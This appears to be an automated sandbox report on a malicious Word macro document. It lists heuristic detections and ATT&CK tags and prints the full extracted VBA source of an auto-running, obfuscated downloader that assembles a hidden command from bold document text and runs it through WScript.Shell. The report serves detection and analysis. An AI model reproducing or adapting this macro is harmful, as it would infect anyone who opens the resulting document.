MALICIOUS
170
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is a malicious OOXML document containing VBA macros. The 'Document_Open' macro is designed to execute automatically upon opening the document. It utilizes 'WScript.Shell' and 'CreateObject' to likely download and execute a second-stage payload from a URL, indicated by the obfuscated string concatenation in the VBA code. The presence of these indicators strongly suggests a macro-based downloader attack.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set jhgfdsffghbb = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set jhgfdsffghbb = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3560 bytes |
SHA-256: 01a6155587ea33cf744d410983561dd038481bf7f1eb397b6f6241217eb9ce73 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
Call hjnbb
End Sub
Private Sub hjnbb()
If 47.545 + Sin(85.8766) = Log(56.678) + Cos(784.5678) Then
Else
While "ngfdgg" = "hjgfdsgh"
gdfgjkkkd = "gdfhjj"
sdgssRh = "sdghu7t"
Wend
If "vb6" = "scvv" Then
While "SNRR" = "mPKM"
AOWR = 7.67
uEPq = "Zcv"
doqY = 4.53
mY = 4.6
Wend
fmFXs = "GXmXFi"
gaVPRb = "RZL"
PaQ = 10
OXBk = 8#
AC = 5#
JQqej = "fy"
jIReucz = 2.81
JhE = 99089
byv = "wDtc"
BCFNb = "HOn"
oDjbtb = 5.16
Lr = 78
Xveow = 2.58
iBvYNoY = "Hat"
End If
Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.
For Chars = 0 To 9 ' Set up 10 repetitions.
MyString = MyString & Chars ' Append number to string.
Next Chars ' Increment counter
MyString = MyString & " " ' Append a space.
Next Words
Call cGfnpYu
End If
End Sub
Attribute VB_Name = "ooMHdwwts"
#If VBA7 Then
#Else
#End If
Public Sub cGfnpYu()
On Error Resume Next
If 3103192624758# > 35817331156928# Then
Dim nzkjkzpjvadnicwomtlr As Long
nzkjkzpjvadnicwomtlr = (5 - 5) / 15
If IsDate(iutqdcxuowkd) And ((5102 + 7) / (73978077 + 2)) <> 3103192624758# Then
End If
End If
If 2 > 92802769513791# Then
Dim vgyna As Long
vgynaz = (92802769513791# - 7) / 5
If IsDate(pQS4udMems1WIH1Y) And ((5102 + 7) / (73978077 + 2)) <> 3103192624758# Then
End If
End If
Dim myShape As InlineShape
Dim myRange As Range
For Each myRange In ActiveDocument.StoryRanges
For Each myShape In myRange.InlineShapes
myShape.Delete
Next myShape
Next myRange
Dim privadte As String
Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.
Dim Para As Paragraph
Dim i As Long
Application.ScreenUpdating = False
With ActiveDocument
For i = .Paragraphs.Count To 1 Step -1
Set Para = .Paragraphs(i)
With Para
If .Range.End - .Range.Start = 1 Then
.Range.Delete
Else
.SpaceBefore = 6
.SpaceAfter = 6
End If
End With
Next i
End With
Application.ScreenUpdating = True
Dim singleLine As Paragraph
Dim rng As Range
Dim pos As Integer
Dim Wrd As Range
For Each singleLine In ActiveDocument.Paragraphs
Set rng = singleLine.Range
If rng.Font.Bold Then
'MsgBox "This is bold"
lineText = singleLine.Range.Text
OTmXgwc = OTmXgwc + lineText
' MsgBox (OTmXgwc)
End If
Next
OTmXgwc = Replace(OTmXgwc, "mkihlvjdy", "")
If Log(54.453) = 54.5434 Then
MsgBox (OTmXgwc1)
Else
End If
Set jhgfdsffghbb = CreateObject("WScript.Shell")
jhgfdsffghbb.Run OTmXgwc, 2 - 2.1
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 17408 bytes |
SHA-256: 7a1f59d9df88d3a73c93e8a76bb7de48139f139f7011a86b0fef4a18d2168224 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.